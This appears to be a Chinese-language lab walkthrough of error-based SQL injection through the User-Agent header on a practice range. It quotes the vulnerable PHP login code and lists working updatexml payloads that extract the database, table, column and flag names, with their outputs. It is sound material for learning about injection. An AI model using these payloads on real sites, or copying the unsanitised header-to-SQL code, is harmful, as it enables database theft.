head注入 显错注入 数据库报错有很多种 有一些是致命的,有一些是简单报错 使用 update(目标xml内容,xml文档里的路径,更新的内容) updatexml(1,concat(0x7e,(select database())),1),1) >=0x是十六进制 (select database是一个子查询) 0x7e代表 ~号
16进制永远不能当代码执行, 只能转换值(字符串)
主要看 插入sql 插入语句的构成 uagent’,’$uname’)” => — qwe
我们可以看到这里是有2个变量,所以要写2个占位符
所以后面需要+ ,1)
updatexml(1,concat(ox7e,(select database())),1),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合规则然后报错了
靶场练习:封神台靶场
本关正确密码
admin/123456
$username = $_POST['username']; //将获取 POST 方式传参的usename赋值给$username $password = $_POST['password']; $uagent = $_SERVER['HTTP_USER_AGENT']; // $_SERVER php超全局变量 $_SERVER['HTTP_USER_AGENT'] 获取用户信息,浏览器 UA标识、操作系统 $jc = $username.$password; $sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';// 过滤了单引号 if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');} mysqli_select_db($conn,'****');//不想告诉你库名 $result = mysqli_query($conn,$sql); $row = mysqli_fetch_array($result); $uname = $row['username']; $passwd = $row['password']; if($row){ $Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";// 插入语句 2个字段 $result1 = mysqli_query($conn,$Insql); print_r(mysqli_error($conn)); echo '成功登录';
查询库名
在 burp 替换
User_Agent:的数据,把注入的参数带入
User_Agent:1'or updatexml(1,concat(0x7e,(select database())),1),1)-- qwe
1'or updatexml(1,concat(0x7e,(select database())),1),1)-- qwe
查表名
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)-- qwe
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)-- qwe
存在5个表
~flag_head,ip,refer,uagent,user'
查字段
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())),1),1)#
存在 7个字段
~Id,flag_h1,Id,ip,username,Id,re
查看flag_h1字段数据
'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#
zKaQ-YourHd,zKaQ-Refer,zKaQ-ipi